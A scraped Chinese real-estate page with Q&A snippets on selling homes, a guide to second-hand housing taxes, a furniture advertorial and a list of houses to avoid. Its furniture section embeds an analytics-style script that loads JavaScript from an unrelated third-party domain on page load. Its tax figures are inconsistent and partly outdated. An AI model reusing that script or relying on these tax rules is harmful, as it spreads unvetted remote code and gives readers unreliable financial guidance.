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孙朗丽
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小白zl 有用 1
胡嘉鹏 有用 1
wei倩倩 有用 1
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问问下大家上海卖房子怎么样
答小区交通、购物都很方便。小区环境还行,物业管理到位,但是是个老小区了,设施有些陈旧,停车也不健全。不过总体不错。
问我想问下成都卖房子怎么样
答推荐几家小区的价格,供你参考一下 1.富豪公馆,价格在8500元/㎡左右,地理位置优越,小区环境好 2.保利公园198观岭台,价格在9138元/㎡左右,
问在北京卖房子怎么样
答您好,在北京卖房当然很不错啊,但具体价格与地段有关。北京市本月二手房的均价为65,849元/㎡,较上月下降了0.61%,每个区都不同,其中东城区的均价为11
问谁知道买卖房子过户怎么缴税
答契税:(基准税率3% 优惠税率1.5% 和1% 买方缴纳)征收方法:按照基准税率征收交易总额的3%,若买方是首次购买面积不足90平的普通住宅缴纳交易总额的1
问请教下,买卖房子协议书怎么写?
答 甲方(出卖人):_________ 身份份:_________地址:_________联系电话:_________ 甲方(出卖人):________
二手房买卖税费怎么算
买了房子后,如需要再将这套房子卖出去,那么该套房子就是属于二手房了。目前买卖二手房的人越来越多,这跟房子价格不断升值是有直接关系,很多人都通过买卖二手房来获得了增值,实现了巨大的财富累积,改善了个人家庭的生活。但是在二手房买卖的时候,还需要出一定的税费,税费也是国家为了遏制炒房的手段之一。那么,二手房买卖税费怎么算?二手房买卖税费怎么算一、买房人应缴纳税费:1、契税:房款的1.5%(面积在144平米以上的需要缴纳3%,即俗称的豪宅税)2、土地出让金:按成本价的1.5%×建筑面积,住房面积是140以上需要3%(公房才需要,即没有土地证)3、印花税:房款的0.05%4、测绘费:按各区具体规定5、权属登记费及取证费:按各区具体规定,一般情况是在200元内。6、营业税:成交价*5.5%(房产证未满5年的)7、中介费:房款的1%二、卖房人应缴纳税费:1、印花税:房款的0.05%2、交易费:6元/平方米3、中介费:房款的2%4、个人所得税:(成交价-当年购入价-装修费-契税-印花税....)*20%(满五唯一住房可以免除)。而这些税种,相应的计算标准如下:1、个人所得税。普通住宅5年之内个人所得税计算方法:(售房收入-购房总额-本次缴纳营业税-原始契税-合同×1%)×20%。如果纳税人在地税系统中不能查询到原值,不能正确计算应纳税额的,就要采取核定征收,购房个人所得税税率暂定为计税价格的1%。2、营业税。普通住宅营业税计算方法:不足2年——房屋总价的5.6%,超过2年(含2年)——免征营业税;非普通住宅营业税计算方法:不足2年——房屋总价的5.6%,超过2年(含2年)——房屋总价与该房屋当时买入价格差额的5.6%;别墅营业税计算方法:不足2年——房屋总价的5.6%,超过2年(含5年)——房屋总价与该房屋当时买入价格差额的5.6%。3、契税。普通住宅契税计算方法:90平米以下——首套1%,二套3%;90-140平米——首套1.5%,二套3%;非普通住宅契税计算方法:3%,别墅契税计算方法:4%。4、土地增值税。二手房交易印花税税率:0.5%。这里你需要注意地是,从2009年到现在国家是暂免征收住宅印花税的。5、城建税、教育附加税和地方附加税。二手房交易城建税:营业税的7%;二手房交易教育费附加税:营业税的3%;二手房交易地方附加税:依各地方而定。6、工本费。80元,共有权证:10元。7、交易手续费:这个收费的标准是每平方米3元钱再乘以建筑面积。二手房买卖税费怎么算?二手房买卖的时候,买方和卖方所缴纳的税费是不太一样的,如果卖方觉得税费太高,可以在卖之前就跟房中介说好提高房子的价格,让税费由买方承担。无论是采用哪种的承担方式,反正在买卖二手房的时候,该交纳的税费就一定要去交纳,这样才能够保证房子买卖交易是合法、合理、公正,不要想着去做偷税、漏税的事情。
房子装修选择购买欧迪曼家具怎么样
如今随着越来越多的家具品牌兴起,消费者在选择家具品牌的时候也眼花缭乱,而其中不少消费者都在询问房子装修选择购买欧迪曼家具怎么样,欧迪曼家具怎么样?下面介绍一下。欧迪曼家具公司是中国最具有实力的定制家具品牌之一。欧迪曼家具公司是一家集家具研发设计再到生产销售服务,全部采用一体化。公司拥有数万余平米的生产基地,还拥有着大型产品展示中心,并且公司引进全新德国数控流水生产线,成功的达到了自动化的领先水平。那么选择购买欧迪曼家具到底怎么样呢?1.欧迪曼家具风格欧迪曼家具引用了欧洲的雅致,时尚生活的设计理念,采用了欧洲进口水曲柳木材,意大利进口五金,质感清晰,木纹错落有致,给人以一种清新别致的感觉,同时深浅色彩的搭配让家具更加充满灵性。欧迪曼家具设计风格成功做到了简约而不简单,时尚而自然。2.欧迪曼家具质量欧迪曼家具公司秉承着严谨的管理制度,在原材料把控严格,全部采用国际国内知名品牌,确保每件产品的环保指标均达到欧洲E1或E0级标准。欧迪曼家具不仅质量耐用,而且种类也有很多,款式也很漂亮。让消费者目不暇接。3.欧迪曼家具价格欧迪曼家具材料优质,款式繁多,最重要的是它价格实惠。真正的做到了物美价廉。欧迪曼家具怎么样?欧迪曼家具,它是梦想的见证者,为每个家庭构筑品质生活,它是梦想的实践者,为无数个家庭创新家具生活。它是梦想的追求者,成为全国定制家具的佼佼者。它是梦想的拥有者,承载着人们对家具生活的幸福寄托。所以消费者没有必要再纠结欧迪曼家具怎么样了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
什么样的房子都能买,唯独这5类房子不能买,降价甩卖都不能要
不管是新房子还是二手房,现在黑心的房产商还是很多,一不留心你可能就会买到问题房,到时候想转手就很难了。给大家总结6类千万不能买的房子,购买之前一定要考虑清楚!1、有特殊性质的房屋特殊性质指的是:军产(用于军队人员居住)、院产(医院的房子)、校产(学校的公房)、某些政府机关的公房等等。一般来说这些房子有剩余会向社会出售,虽然便宜但是建议大家还是不要买,因为这类房子国家规定不能作为商品房上市交易,所以买了很难再出手的。2、房屋已经出租他人,租期还没有到的房子就算房东再怎么说租客很快回来,租客不会再来了什么的,都不要买,以免买完就出现侵害租客权益产生纠纷,波及到自己,得不偿失。3、房子或邻居房子层出现过血腥事件买之前搜查一些新闻,或者和同小区的人打听打听,看看有没有出现过血腥事件,比如出现过自杀、谋杀等情况的房子,不管是邻居还是同一栋楼,都不要去买,这种房子可能会降价甩卖,这时候不要贪便宜。4、以标准价购买,尚未按成本价补足剩余价款的房子这类房子是单位卖给职工的,职工如果是以标准价购买的话,就没有全部产权,还有部分产权在单位,如果是成本价购买的才有全部产权,这类房子一定要问清楚,建议不要去买。5、所有权有纠纷的房子这种房子存在共有财产分割、财产继承、还有房屋被抵押,都是房产纠纷频发的房子类型,这类房子再怎么降价也不要去买,以免自己卷入财产纠纷,共有产权人一定要都同意才可以买卖。
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